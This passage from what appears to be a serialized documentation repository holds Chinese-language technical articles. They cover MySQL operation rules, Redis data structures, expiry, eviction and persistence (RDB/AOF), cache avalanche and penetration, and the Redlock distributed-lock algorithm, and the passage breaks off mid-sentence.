数据库操作行为规范\n\n### 1. 超 100 万行的批量写 (UPDATE,DELETE,INSERT) 操作,要分批多次进行操作\n\n**大批量操作可能会造成严重的主从延迟**\n\n主从环境中,大批量操作可能会造成严重的主从延迟，大批量的写操作一般都需要执行一定长的时间，\n而只有当主库上执行完成后，才会在其他从库上执行，所以会造成主库与从库长时间的延迟情况\n\n**binlog 日志为 row 格式时会产生大量的日志**\n\n大批量写操作会产生大量日志，特别是对于 row 格式二进制数据而言，由于在 row 格式中会记录每一行数据的修改，我们一次修改的数据越多，产生的日志量也就会越多，日志的传输和恢复所需要的时间也就越长，这也是造成主从延迟的一个原因\n\n**避免产生大事务操作**\n\n大批量修改数据，一定是在一个事务中进行的，这就会造成表中大批量数据进行锁定，从而导致大量的阻塞，阻塞会对 MySQL 的性能产生非常大的影响。\n\n特别是长时间的阻塞会占满所有数据库的可用连接，这会使生产环境中的其他应用无法连接到数据库，因此一定要注意大批量写操作要进行分批\n\n### 2. 对于大表使用 pt-online-schema-change 修改表结构\n\n- 避免大表修改产生的主从延迟\n- 避免在对表字段进行修改时进行锁表\n\n对大表数据结构的修改一定要谨慎，会造成严重的锁表操作，尤其是生产环境，是不能容忍的。\n\npt-online-schema-change 它会首先建立一个与原表结构相同的新表，并且在新表上进行表结构的修改，然后再把原表中的数据复制到新表中，并在原表中增加一些触发器。把原表中新增的数据也复制到新表中，在行所有数据复制完成之后，把新表命名成原表，并把原来的表删除掉。把原来一个 DDL 操作，分解成多个小的批次进行。\n\n### 3. 禁止为程序使用的账号赋予 super 权限\n\n- 当达到最大连接数限制时，还运行 1 个有 super 权限的用户连接\n- super 权限只能留给 DBA 处理问题的账号使用\n\n### 4. 对于程序连接数据库账号,遵循权限最小原则\n\n- 程序使用数据库账号只能在一个 DB 下使用，不准跨库\n- 程序使用的账号原则上不准有 drop 权限\n"
  },
  {
    "path": "docs/database/Redis/Redis.md",
    "content": "<!-- MarkdownTOC -->\n\n- [redis 简介](#redis-简介)\n- [为什么要用 redis /为什么要用缓存](#为什么要用-redis-为什么要用缓存)\n- [为什么要用 redis 而不用 map/guava 做缓存?](#为什么要用-redis-而不用-mapguava-做缓存)\n- [redis 和 memcached 的区别](#redis-和-memcached-的区别)\n- [redis 常见数据结构以及使用场景分析](#redis-常见数据结构以及使用场景分析)\n  - [1. String](#1-string)\n  - [2.Hash](#2hash)\n  - [3.List](#3list)\n  - [4.Set](#4set)\n  - [5.Sorted Set](#5sorted-set)\n- [redis 设置过期时间](#redis-设置过期时间)\n- [redis 内存淘汰机制（MySQL里有2000w数据，Redis中只存20w的数据，如何保证Redis中的数据都是热点数据？）](#redis-内存淘汰机制（mysql里有2000w数据，redis中只存20w的数据，如何保证redis中的数据都是热点数据？）)\n- [redis 持久化机制（怎么保证 redis 挂掉之后再重启数据可以进行恢复）](#redis-持久化机制（怎么保证-redis-挂掉之后再重启数据可以进行恢复）)\n- [redis 事务](#redis-事务)\n- [缓存雪崩和缓存穿透问题解决方案](#缓存雪崩和缓存穿透问题解决方案)\n- [如何解决 Redis 的并发竞争 Key 问题](#如何解决-redis-的并发竞争-key-问题)\n- [如何保证缓存与数据库双写时的数据一致性？](#如何保证缓存与数据库双写时的数据一致性？)\n- [参考：](#参考：)\n\n<!-- /MarkdownTOC -->\n\n\n### redis 简介\n\n简单来说 redis 就是一个数据库，不过与传统数据库不同的是 redis 的数据是存在内存中的，所以存写速度非常快，因此 redis 被广泛应用于缓存方向。另外，redis 也经常用来做分布式锁。redis 提供了多种数据类型来支持不同的业务场景。除此之外，redis 支持事务 、持久化、LUA脚本、LRU驱动事件、多种集群方案。 \n\n### 为什么要用 redis /为什么要用缓存\n\n主要从“高性能”和“高并发”这两点来看待这个问题。\n\n**高性能：**\n\n假如用户第一次访问数据库中的某些数据。这个过程会比较慢，因为是从硬盘上读取的。将该用户访问的数据存在数缓存中，这样下一次再访问这些数据的时候就可以直接从缓存中获取了。操作缓存就是直接操作内存，所以速度相当快。如果数据库中的对应数据改变的之后，同步改变缓存中相应的数据即可！\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-24/54316596.jpg)\n\n\n**高并发：**\n\n直接操作缓存能够承受的请求是远远大于直接访问数据库的，所以我们可以考虑把数据库中的部分数据转移到缓存中去，这样用户的一部分请求会直接到缓存这里而不用经过数据库。\n\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-24/85146760.jpg)\n\n\n### 为什么要用 redis 而不用 map/guava 做缓存?\n\n\n>下面的内容来自 segmentfault 一位网友的提问，地址：https://segmentfault.com/q/1010000009106416\n\n缓存分为本地缓存和分布式缓存。以 Java 为例，使用自带的 map 或者 guava 实现的是本地缓存，最主要的特点是轻量以及快速，生命周期随着 jvm 的销毁而结束，并且在多实例的情况下，每个实例都需要各自保存一份缓存，缓存不具有一致性。\n\n使用 redis 或 memcached 之类的称为分布式缓存，在多实例的情况下，各实例共用一份缓存数据，缓存具有一致性。缺点是需要保持 redis 或  memcached服务的高可用，整个程序架构上较为复杂。\n\n\n###  redis 和 memcached 的区别\n\n对于 redis 和 memcached 我总结了下面四点。现在公司一般都是用 redis 来实现缓存，而且 redis 自身也越来越强大了！\n\n1. **redis支持更丰富的数据类型（支持更复杂的应用场景）**：Redis不仅仅支持简单的k/v类型的数据，同时还提供list，set，zset，hash等数据结构的存储。memcache支持简单的数据类型，String。\n2. **Redis支持数据的持久化，可以将内存中的数据保持在磁盘中，重启的时候可以再次加载进行使用,而Memecache把数据全部存在内存之中。**\n3. **集群模式**：memcached没有原生的集群模式，需要依靠客户端来实现往集群中分片写入数据；但是 redis 目前是原生支持 cluster 模式的.\n4. **Memcached是多线程，非阻塞IO复用的网络模型；Redis使用单线程的多路 IO 复用模型。**\n\n\n> 来自网络上的一张图，这里分享给大家！\n\n![redis 和 memcached 的区别](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-24/61603179.jpg)\n\n\n### redis 常见数据结构以及使用场景分析\n\n#### 1. String\n\n> **常用命令:**  set,get,decr,incr,mget 等。\n\n\nString数据结构是简单的key-value类型，value其实不仅可以是String，也可以是数字。 \n常规key-value缓存应用； \n常规计数：微博数，粉丝数等。\n\n#### 2.Hash\n> **常用命令：** hget,hset,hgetall 等。\n\nHash 是一个 string 类型的 field 和 value 的映射表，hash 特别适合用于存储对象，后续操作的时候，你可以直接仅仅修改这个对象中的某个字段的值。 比如我们可以Hash数据结构来存储用户信息，商品信息等等。比如下面我就用 hash 类型存放了我本人的一些信息：\n\n```\nkey=JavaUser293847\nvalue={\n  “id”: 1,\n  “name”: “SnailClimb”,\n  “age”: 22,\n  “location”: “Wuhan, Hubei”\n}\n\n```\n\n\n#### 3.List\n> **常用命令:** lpush,rpush,lpop,rpop,lrange等\n\nlist 就是链表，Redis list 的应用场景非常多，也是Redis最重要的数据结构之一，比如微博的关注列表，粉丝列表，消息列表等功能都可以用Redis的 list 结构来实现。\n\nRedis list 的实现为一个双向链表，即可以支持反向查找和遍历，更方便操作，不过带来了部分额外的内存开销。\n\n另外可以通过 lrange 命令，就是从某个元素开始读取多少个元素，可以基于 list 实现分页查询，这个很棒的一个功能，基于 redis 实现简单的高性能分页，可以做类似微博那种下拉不断分页的东西（一页一页的往下走），性能高。\n\n#### 4.Set\n\n> **常用命令：**\nsadd,spop,smembers,sunion 等\n\nset 对外提供的功能与list类似是一个列表的功能，特殊之处在于 set 是可以自动排重的。\n\n当你需要存储一个列表数据，又不希望出现重复数据时，set是一个很好的选择，并且set提供了判断某个成员是否在一个set集合内的重要接口，这个也是list所不能提供的。可以基于 set 轻易实现交集、并集、差集的操作。\n\n比如：在微博应用中，可以将一个用户所有的关注人存在一个集合中，将其所有粉丝存在一个集合。Redis可以非常方便的实现如共同关注、共同粉丝、共同喜好等功能。这个过程也就是求交集的过程，具体命令如下：\n\n```\nsinterstore key1 key2 key3     将交集存在key1内\n```\n\n#### 5.Sorted Set\n> **常用命令：** zadd,zrange,zrem,zcard等\n\n\n和set相比，sorted set增加了一个权重参数score，使得集合中的元素能够按score进行有序排列。\n\n**举例：** 在直播系统中，实时排行信息包含直播间在线用户列表，各种礼物排行榜，弹幕消息（可以理解为按消息维度的消息排行榜）等信息，适合使用 Redis 中的 SortedSet 结构进行存储。\n\n\n### redis 设置过期时间\n\nRedis中有个设置时间过期的功能，即对存储在 redis 数据库中的值可以设置一个过期时间。作为一个缓存数据库，这是非常实用的。如我们一般项目中的 token 或者一些登录信息，尤其是短信验证码都是有时间限制的，按照传统的数据库处理方式，一般都是自己判断过期，这样无疑会严重影响项目性能。\n\n我们 set key 的时候，都可以给一个 expire time，就是过期时间，通过过期时间我们可以指定这个 key 可以存活的时间。\n\n如果假设你设置了一批 key 只能存活1个小时，那么接下来1小时后，redis是怎么对这批key进行删除的？\n\n**定期删除+惰性删除。**\n\n通过名字大概就能猜出这两个删除方式的意思了。\n\n- **定期删除**：redis默认是每隔 100ms 就**随机抽取**一些设置了过期时间的key，检查其是否过期，如果过期就删除。注意这里是随机抽取的。为什么要随机呢？你想一想假如 redis 存了几十万个 key ，每隔100ms就遍历所有的设置过期时间的 key 的话，就会给 CPU 带来很大的负载！\n- **惰性删除** ：定期删除可能会导致很多过期 key 到了时间并没有被删除掉。所以就有了惰性删除。假如你的过期 key，靠定期删除没有被删除掉，还停留在内存里，除非你的系统去查一下那个 key，才会被redis给删除掉。这就是所谓的惰性删除，也是够懒的哈！\n\n\n但是仅仅通过设置过期时间还是有问题的。我们想一下：如果定期删除漏掉了很多过期 key，然后你也没及时去查，也就没走惰性删除，此时会怎么样？如果大量过期key堆积在内存里，导致redis内存块耗尽了。怎么解决这个问题呢？\n\n**redis 内存淘汰机制。**\n\n### redis 内存淘汰机制（MySQL里有2000w数据，Redis中只存20w的数据，如何保证Redis中的数据都是热点数据？）\n\nredis 配置文件 redis.conf 中有相关注释，我这里就不贴了，大家可以自行查阅或者通过这个网址查看： [http://download.redis.io/redis-stable/redis.conf](http://download.redis.io/redis-stable/redis.conf)\n\n**redis 提供 6种数据淘汰策略：**\n\n1. **volatile-lru**：从已设置过期时间的数据集（server.db[i].expires）中挑选最近最少使用的数据淘汰\n2. **volatile-ttl**：从已设置过期时间的数据集（server.db[i].expires）中挑选将要过期的数据淘汰\n3. **volatile-random**：从已设置过期时间的数据集（server.db[i].expires）中任意选择数据淘汰\n4. **allkeys-lru**：当内存不足以容纳新写入数据时，在键空间中，移除最近最少使用的key（这个是最常用的）.\n5. **allkeys-random**：从数据集（server.db[i].dict）中任意选择数据淘汰\n6. **no-eviction**：禁止驱逐数据，也就是说当内存不足以容纳新写入数据时，新写入操作会报错。这个应该没人使用吧！\n\n\n**备注： 关于 redis 设置过期时间以及内存淘汰机制，我这里只是简单的总结一下，后面会专门写一篇文章来总结！**\n\n\n### redis 持久化机制（怎么保证 redis 挂掉之后再重启数据可以进行恢复）\n\n很多时候我们需要持久化数据也就是将内存中的数据写入到硬盘里面，大部分原因是为了之后重用数据（比如重启机器、机器故障之后回复数据），或者是为了防止系统故障而将数据备份到一个远程位置。\n\nRedis不同于Memcached的很重一点就是，Redis支持持久化，而且支持两种不同的持久化操作。**Redis的一种持久化方式叫快照（snapshotting，RDB）,另一种方式是只追加文件（append-only file,AOF）**.这两种方法各有千秋，下面我会详细这两种持久化方法是什么，怎么用，如何选择适合自己的持久化方法。\n\n**快照（snapshotting）持久化（RDB）**\n\nRedis可以通过创建快照来获得存储在内存里面的数据在某个时间点上的副本。Redis创建快照之后，可以对快照进行备份，可以将快照复制到其他服务器从而创建具有相同数据的服务器副本（Redis主从结构，主要用来提高Redis性能），还可以将快照留在原地以便重启服务器的时候使用。\n\n快照持久化是Redis默认采用的持久化方式，在redis.conf配置文件中默认有此下配置：\n\n```conf\n\nsave 900 1              #在900秒(15分钟)之后，如果至少有1个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n\nsave 300 10            #在300秒(5分钟)之后，如果至少有10个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n\nsave 60 10000        #在60秒(1分钟)之后，如果至少有10000个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n```\n\n\n**AOF（append-only file）持久化**\n\n与快照持久化相比，AOF持久化 的实时性更好，因此已成为主流的持久化方案。默认情况下Redis没有开启AOF（append only file）方式的持久化，可以通过appendonly参数开启：\n\n```conf\nappendonly yes\n```\n\n开启AOF持久化后每执行一条会更改Redis中的数据的命令，Redis就会将该命令写入硬盘中的AOF文件。AOF文件的保存位置和RDB文件的位置相同，都是通过dir参数设置的，默认的文件名是appendonly.aof。\n\n在Redis的配置文件中存在三种不同的 AOF 持久化方式，它们分别是：\n\n```conf\nappendfsync always     #每次有数据修改发生时都会写入AOF文件,这样会严重降低Redis的速度\nappendfsync everysec  #每秒钟同步一次，显示地将多个写命令同步到硬盘\nappendfsync no      #让操作系统决定何时进行同步\n```\n\n为了兼顾数据和写入性能，用户可以考虑 appendfsync everysec选项 ，让Redis每秒同步一次AOF文件，Redis性能几乎没受到任何影响。而且这样即使出现系统崩溃，用户最多只会丢失一秒之内产生的数据。当硬盘忙于执行写入操作的时候，Redis还会优雅的放慢自己的速度以便适应硬盘的最大写入速度。\n\n\n**Redis 4.0 对于持久化机制的优化**\n\nRedis 4.0 开始支持 RDB 和 AOF 的混合持久化（默认关闭，可以通过配置项 `aof-use-rdb-preamble` 开启）。\n\n如果把混合持久化打开，AOF 重写的时候就直接把 RDB 的内容写到 AOF 文件开头。这样做的好处是可以结合 RDB 和 AOF 的优点, 快速加载同时避免丢失过多的数据。当然缺点也是有的， AOF 里面的 RDB 部分是压缩格式不再是 AOF 格式，可读性较差。\n\n\n\n**补充内容：AOF 重写**\n\nAOF重写可以产生一个新的AOF文件，这个新的AOF文件和原有的AOF文件所保存的数据库状态一样，但体积更小。\n\nAOF重写是一个有歧义的名字，该功能是通过读取数据库中的键值对来实现的，程序无须对现有AOF文件进行任伺读入、分析或者写入操作。\n\n在执行 BGREWRITEAOF 命令时，Redis 服务器会维护一个 AOF 重写缓冲区，该缓冲区会在子进程创建新AOF文件期间，记录服务器执行的所有写命令。当子进程完成创建新AOF文件的工作之后，服务器会将重写缓冲区中的所有内容追加到新AOF文件的末尾，使得新旧两个AOF文件所保存的数据库状态一致。最后，服务器用新的AOF文件替换旧的AOF文件，以此来完成AOF文件重写操作\n\n\n**更多内容可以查看我的这篇文章：**\n\n- [https://github.com/Snailclimb/JavaGuide/blob/master/数据存储/Redis/Redis持久化.md](https://github.com/Snailclimb/JavaGuide/blob/master/数据存储/Redis/Redis持久化.md)\n\n\n### redis 事务\n\nRedis 通过 MULTI、EXEC、WATCH 等命令来实现事务(transaction)功能。事务提供了一种将多个命令请求打包，然后一次性、按顺序地执行多个命令的机制，并且在事务执行期间，服务器不会中断事务而改去执行其他客户端的命令请求，它会将事务中的所有命令都执行完毕，然后才去处理其他客户端的命令请求。\n\n在传统的关系式数据库中，常常用 ACID 性质来检验事务功能的可靠性和安全性。在 Redis 中，事务总是具有原子性（Atomicity)、一致性(Consistency)和隔离性（Isolation），并且当 Redis 运行在某种特定的持久化模式下时，事务也具有持久性（Durability）。\n\n### 缓存雪崩和缓存穿透问题解决方案\n\n**缓存雪崩** \n\n简介：缓存同一时间大面积的失效，所以，后面的请求都会落到数据库上，造成数据库短时间内承受大量请求而崩掉。\n\n解决办法（中华石杉老师在他的视频中提到过，视频地址在最后一个问题中有提到）：\n\n- 事前：尽量保证整个 redis 集群的高可用性，发现机器宕机尽快补上。选择合适的内存淘汰策略。\n- 事中：本地ehcache缓存 + hystrix限流&降级，避免MySQL崩掉\n- 事后：利用 redis 持久化机制保存的数据尽快恢复缓存\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-25/6078367.jpg)\n\n\n**缓存穿透** \n\n简介：一般是黑客故意去请求缓存中不存在的数据，导致所有的请求都落到数据库上，造成数据库短时间内承受大量请求而崩掉。\n\n解决办法： 有很多种方法可以有效地解决缓存穿透问题，最常见的则是采用布隆过滤器，将所有可能存在的数据哈希到一个足够大的bitmap中，一个一定不存在的数据会被 这个bitmap拦截掉，从而避免了对底层存储系统的查询压力。另外也有一个更为简单粗暴的方法（我们采用的就是这种），如果一个查询返回的数据为空（不管是数 据不存在，还是系统故障），我们仍然把这个空结果进行缓存，但它的过期时间会很短，最长不超过五分钟。\n\n参考：\n\n- [https://blog.csdn.net/zeb_perfect/article/details/54135506](https://blog.csdn.net/zeb_perfect/article/details/54135506)\n\n### 如何解决 Redis 的并发竞争 Key 问题\n\n所谓 Redis 的并发竞争 Key 的问题也就是多个系统同时对一个 key 进行操作，但是最后执行的顺序和我们期望的顺序不同，这样也就导致了结果的不同！\n\n推荐一种方案：分布式锁（zookeeper 和 redis 都可以实现分布式锁）。（如果不存在 Redis 的并发竞争 Key 问题，不要使用分布式锁，这样会影响性能）\n\n基于zookeeper临时有序节点可以实现的分布式锁。大致思想为：每个客户端对某个方法加锁时，在zookeeper上的与该方法对应的指定节点的目录下，生成一个唯一的瞬时有序节点。 判断是否获取锁的方式很简单，只需要判断有序节点中序号最小的一个。 当释放锁的时候，只需将这个瞬时节点删除即可。同时，其可以避免服务宕机导致的锁无法释放，而产生的死锁问题。完成业务流程后，删除对应的子节点释放锁。\n\n在实践中，当然是从以可靠性为主。所以首推Zookeeper。\n\n参考：\n\n- https://www.jianshu.com/p/8bddd381de06\n\n\n### 如何保证缓存与数据库双写时的数据一致性？\n\n\n你只要用缓存，就可能会涉及到缓存与数据库双存储双写，你只要是双写，就一定会有数据一致性的问题，那么你如何解决一致性问题？\n\n一般来说，就是如果你的系统不是严格要求缓存+数据库必须一致性的话，缓存可以稍微的跟数据库偶尔有不一致的情况，最好不要做这个方案，读请求和写请求串行化，串到一个内存队列里去，这样就可以保证一定不会出现不一致的情况\n\n串行化之后，就会导致系统的吞吐量会大幅度的降低，用比正常情况下多几倍的机器去支撑线上的一个请求。\n\n**参考：**\n\n- Java工程师面试突击第1季（可能是史上最好的Java面试突击课程）-中华石杉老师。视频地址见下面！\n  - 链接： https://pan.baidu.com/s/18pp6g1xKVGCfUATf_nMrOA \n  - 密码：5i58\n\n### 参考：\n\n- redis设计与实现(第二版)\n\n"
  },
  {
    "path": "docs/database/Redis/Redis持久化.md",
    "content": "\n\n非常感谢《redis实战》真本书，本文大多内容也参考了书中的内容。非常推荐大家看一下《redis实战》这本书，感觉书中的很多理论性东西还是很不错的。\n\n为什么本文的名字要加上春夏秋冬又一春，哈哈 ，这是一部韩国的电影，我感觉电影不错，所以就用在文章名字上了，没有什么特别的含义，然后下面的有些配图也是电影相关镜头。\n\n![春夏秋冬又一春](https://user-gold-cdn.xitu.io/2018/6/13/163f97071d71f6de?w=1280&h=720&f=jpeg&s=205252)\n\n**很多时候我们需要持久化数据也就是将内存中的数据写入到硬盘里面，大部分原因是为了之后重用数据（比如重启机器、机器故障之后回复数据），或者是为了防止系统故障而将数据备份到一个远程位置。**\n\nRedis不同于Memcached的很重一点就是，**Redis支持持久化**，而且支持两种不同的持久化操作。Redis的一种持久化方式叫**快照（snapshotting，RDB）**,另一种方式是**只追加文件（append-only file,AOF）**.这两种方法各有千秋，下面我会详细这两种持久化方法是什么，怎么用，如何选择适合自己的持久化方法。\n\n\n## 快照（snapshotting）持久化\n\nRedis可以通过创建快照来获得存储在内存里面的数据在某个时间点上的副本。Redis创建快照之后，可以对快照进行备份，可以将快照复制到其他服务器从而创建具有相同数据的服务器副本（Redis主从结构，主要用来提高Redis性能），还可以将快照留在原地以便重启服务器的时候使用。\n\n\n![春夏秋冬又一春](https://user-gold-cdn.xitu.io/2018/6/13/163f97568281782a?w=600&h=329&f=jpeg&s=88616)\n\n**快照持久化是Redis默认采用的持久化方式**，在redis.conf配置文件中默认有此下配置：\n```\n\nsave 900 1              #在900秒(15分钟)之后，如果至少有1个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n\nsave 300 10            #在300秒(5分钟)之后，如果至少有10个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n\nsave 60 10000        #在60秒(1分钟)之后，如果至少有10000个key发生变化，Redis就会自动触发BGSAVE命令创建快照。\n```\n\n根据配置，快照将被写入dbfilename选项指定的文件里面，并存储在dir选项指定的路径上面。如果在新的快照文件创建完毕之前，Redis、系统或者硬件这三者中的任意一个崩溃了，那么Redis将丢失最近一次创建快照写入的所有数据。\n\n举个例子：假设Redis的上一个快照是2：35开始创建的，并且已经创建成功。下午3：06时，Redis又开始创建新的快照，并且在下午3：08快照创建完毕之前，有35个键进行了更新。如果在下午3：06到3：08期间，系统发生了崩溃，导致Redis无法完成新快照的创建工作，那么Redis将丢失下午2：35之后写入的所有数据。另一方面，如果系统恰好在新的快照文件创建完毕之后崩溃，那么Redis将丢失35个键的更新数据。\n\n**创建快照的办法有如下几种：**\n\n- **BGSAVE命令：** 客户端向Redis发送 **BGSAVE命令** 来创建一个快照。对于支持BGSAVE命令的平台来说（基本上所有平台支持，除了Windows平台），Redis会调用fork来创建一个子进程，然后子进程负责将快照写入硬盘，而父进程则继续处理命令请求。\n- **SAVE命令：** 客户端还可以向Redis发送 **SAVE命令** 来创建一个快照，接到SAVE命令的Redis服务器在快照创建完毕之前不会再响应任何其他命令。SAVE命令不常用，我们通常只会在没有足够内存去执行BGSAVE命令的情况下，又或者即使等待持久化操作执行完毕也无所谓的情况下，才会使用这个命令。\n- **save选项：** 如果用户设置了save选项（一般会默认设置），比如 **save 60 10000**，那么从Redis最近一次创建快照之后开始算起，当“60秒之内有10000次写入”这个条件被满足时，Redis就会自动触发BGSAVE命令。\n- **SHUTDOWN命令：**  当Redis通过SHUTDOWN命令接收到关闭服务器的请求时，或者接收到标准TERM信号时，会执行一个SAVE命令，阻塞所有客户端，不再执行客户端发送的任何命令，并在SAVE命令执行完毕之后关闭服务器。\n- **一个Redis服务器连接到另一个Redis服务器：** 当一个Redis服务器连接到另一个Redis服务器，并向对方发送SYNC命令来开始一次复制操作的时候，如果主服务器目前没有执行BGSAVE操作，或者主服务器并非刚刚执行完BGSAVE操作，那么主服务器就会执行BGSAVE命令\n\n如果系统真的发生崩溃，用户将丢失最近一次生成快照之后更改的所有数据。因此，快照持久化只适用于即使丢失一部分数据也不会造成一些大问题的应用程序。不能接受这个缺点的话，可以考虑AOF持久化。\n\n\n\n## **AOF（append-only file）持久化**\n与快照持久化相比，AOF持久化 的实时性更好，因此已成为主流的持久化方案。默认情况下Redis没有开启AOF（append only file）方式的持久化，可以通过appendonly参数开启：\n```\nappendonly yes\n```\n\n开启AOF持久化后每执行一条会更改Redis中的数据的命令，Redis就会将该命令写入硬盘中的AOF文件。AOF文件的保存位置和RDB文件的位置相同，都是通过dir参数设置的，默认的文件名是appendonly.aof。\n\n![春夏秋冬又一春](https://user-gold-cdn.xitu.io/2018/6/13/163f976818876166?w=400&h=219&f=jpeg&s=91022)\n\n**在Redis的配置文件中存在三种同步方式，它们分别是：**\n\n```\n\nappendfsync always     #每次有数据修改发生时都会写入AOF文件,这样会严重降低Redis的速度\nappendfsync everysec  #每秒钟同步一次，显示地将多个写命令同步到硬盘\nappendfsync no      #让操作系统决定何时进行同步\n```\n\n**appendfsync always** 可以实现将数据丢失减到最少，不过这种方式需要对硬盘进行大量的写入而且每次只写入一个命令，十分影响Redis的速度。另外使用固态硬盘的用户谨慎使用appendfsync always选项，因为这会明显降低固态硬盘的使用寿命。\n\n为了兼顾数据和写入性能，用户可以考虑 **appendfsync everysec选项** ，让Redis每秒同步一次AOF文件，Redis性能几乎没受到任何影响。而且这样即使出现系统崩溃，用户最多只会丢失一秒之内产生的数据。当硬盘忙于执行写入操作的时候，Redis还会优雅的放慢自己的速度以便适应硬盘的最大写入速度。\n\n\n**appendfsync no**  选项一般不推荐，这种方案会使Redis丢失不定量的数据而且如果用户的硬盘处理写入操作的速度不够的话，那么当缓冲区被等待写入的数据填满时，Redis的写入操作将被阻塞，这会导致Redis的请求速度变慢。\n\n**虽然AOF持久化非常灵活地提供了多种不同的选项来满足不同应用程序对数据安全的不同要求，但AOF持久化也有缺陷——AOF文件的体积太大。**\n\n## 重写/压缩AOF\n\nAOF虽然在某个角度可以将数据丢失降低到最小而且对性能影响也很小，但是极端的情况下，体积不断增大的AOF文件很可能会用完硬盘空间。另外，如果AOF体积过大，那么还原操作执行时间就可能会非常长。\n\n为了解决AOF体积过大的问题，用户可以向Redis发送 **BGREWRITEAOF命令** ，这个命令会通过移除AOF文件中的冗余命令来重写（rewrite）AOF文件来减小AOF文件的体积。BGREWRITEAOF命令和BGSAVE创建快照原理十分相似，所以AOF文件重写也需要用到子进程，这样会导致性能问题和内存占用问题，和快照持久化一样。更糟糕的是，如果不加以控制的话，AOF文件的体积可能会比快照文件大好几倍。\n\n**文件重写流程：**\n\n![文件重写流程](https://user-gold-cdn.xitu.io/2018/6/13/163f97f9bd0eea50?w=380&h=345&f=jpeg&s=14501)\n和快照持久化可以通过设置save选项来自动执行BGSAVE一样，AOF持久化也可以通过设置\n\n```\nauto-aof-rewrite-percentage\n```\n\n选项和\n\n```\nauto-aof-rewrite-min-size\n```\n\n选项自动执行BGREWRITEAOF命令。举例：假设用户对Redis设置了如下配置选项并且启用了AOF持久化。那么当AOF文件体积大于64mb，并且AOF的体积比上一次重写之后的体积大了至少一倍（100%）的时候，Redis将执行BGREWRITEAOF命令。\n\n```\nauto-aof-rewrite-percentage 100  \nauto-aof-rewrite-min-size 64mb\n```\n\n无论是AOF持久化还是快照持久化，将数据持久化到硬盘上都是非常有必要的，但除了进行持久化外，用户还必须对持久化得到的文件进行备份（最好是备份到不同的地方），这样才能尽量避免数据丢失事故发生。如果条件允许的话，最好能将快照文件和重新重写的AOF文件备份到不同的服务器上面。\n\n随着负载量的上升，或者数据的完整性变得 越来越重要时，用户可能需要使用到复制特性。\n\n## Redis 4.0 对于持久化机制的优化\nRedis 4.0 开始支持 RDB 和 AOF 的混合持久化（默认关闭，可以通过配置项 `aof-use-rdb-preamble` 开启）。\n\n如果把混合持久化打开，AOF 重写的时候就直接把 RDB 的内容写到 AOF 文件开头。这样做的好处是可以结合 RDB 和 AOF 的优点, 快速加载同时避免丢失过多的数据。当然缺点也是有的， AOF 里面的 RDB 部分就是压缩格式不再是 AOF 格式，可读性较差。\n\n参考：\n\n《Redis实战》\n\n[深入学习Redis（2）：持久化](https://www.cnblogs.com/kismetv/p/9137897.html)\n\n\n"
  },
  {
    "path": "docs/database/Redis/Redlock分布式锁.md",
    "content": "这篇文章主要是对 Redis 官方网站刊登的 [Distributed locks with Redis](https://redis.io/topics/distlock) 部分内容的总结和翻译。\n\n## 什么是 RedLock\n\nRedis 官方站这篇文章提出了一种权威的基于 Redis 实现分布式锁的方式名叫 *Redlock*，此种方式比原先的单节点的方法更安全。它可以保证以下特性：\n\n1. 安全特性：互斥访问，即永远只有一个 client 能拿到锁\n2. 避免死锁：最终 client 都可能拿到锁，不会出现死锁的情况，即使原本锁住某资源的 client crash 了或者出现了网络分区\n3. 容错性：只要大部分 Redis 节点存活就可以正常提供服务\n\n## 怎么在单节点上实现分布式锁\n\n> SET resource_name my_random_value NX PX 30000\n\n主要依靠上述命令，该命令仅当 Key 不存在时（NX保证）set 值，并且设置过期时间 3000ms （PX保证），值 my_random_value 必须是所有 client 和所有锁请求发生期间唯一的，释放锁的逻辑是：\n\n```lua\nif redis.call(\"get\",KEYS[1]) == ARGV[1] then\n    return redis.call(\"del\",KEYS[1])\nelse\n    return 0\nend\n```\n\n上述实现可以避免释放另一个client创建的锁，如果只有 del 命令的话，那么如果 client1 拿到 lock1 之后因为某些操作阻塞了很长时间，此时 Redis 端 lock1 已经过期了并且已经被重新分配给了 client2，那么 client1 此时再去释放这把锁就会造成 client2 原本获取到的锁被 client1 无故释放了，但现在为每个 client 分配一个 unique 的 string 值可以避免这个问题。至于如何去生成这个 unique string，方法很多随意选择一种就行了。\n\n## Redlock 算法\n\n算法很易懂，起 5 个 master 节点，分布在不同的机房尽量保证可用性。为了获得锁，client 会进行如下操作：\n\n1. 得到当前的时间，微妙单位\n2. 尝试顺序地在 5 个实例上申请锁，当然需要使用相同的 key 和 random value，这里一个 client 需要合理设置与 master 节点沟通的 timeout 大小，避免长时间和一个 fail 了的节点浪费时间\n3. 当 client 在大于等于 3 个 master 上成功申请到锁的时候，且它会计算申请锁消耗了多少时间，这部分消耗的时间采用获得锁的当下时间减去第一步获得的时间戳得到，如果锁的持续时长（lock validity time）比流逝的时间多的话，那么锁就真正获取到了。\n4. 如果锁申请到了，那么锁真正的 lock validity time 应该是 origin（lock validity time） - 申请锁期间流逝的时间\n5. 如果 client 申请锁失败了，那么它就会在少部分申请成功锁的 master 节点上执行释放锁的操作，重置状态\n\n## 失败重试\n\n如果一个 client 申请锁失败了，那么它需要稍等一会在重试避免多个 client 同时申请锁的情况，最好的情况是一个 client 需要几乎同时向 5 个 master 发起锁申请。另外就是如果 client 申请锁失败了它需要尽快在它曾经申请到锁的 master 上执行 unlock 操作，便于其他 client 获得这把锁，避免这些锁过期造成的时间浪费，当然如果这时候网络分区使得 client 无法联系上这些 master，那么这种浪费就是不得不付出的代价了。\n\n## 放锁\n\n放锁操作很简单，就是依次释放所有节点上的锁就行了\n\n## 性能、崩溃恢复和 fsync\n\n如果我们的节点没有持久化机制，client 从 5 个 master 中的 3 个处获得了锁，然后其中一个重启了，这是注意 **整个环境中又出现了 3 个 master 可供另一个 client 申请同一把锁！** 违反了互斥性。如果我们开启了 AOF 持久化那么情况会稍微好转一些，因为 Redis 的过期机制是语义层面实现的，所以在 server 挂了的时候时间依旧在流逝，重启之后锁状态不会受到污染。但是考虑断电之后呢，AOF部分命令没来得及刷回磁盘直接丢失了，除非我们配置刷回策略为 fsnyc 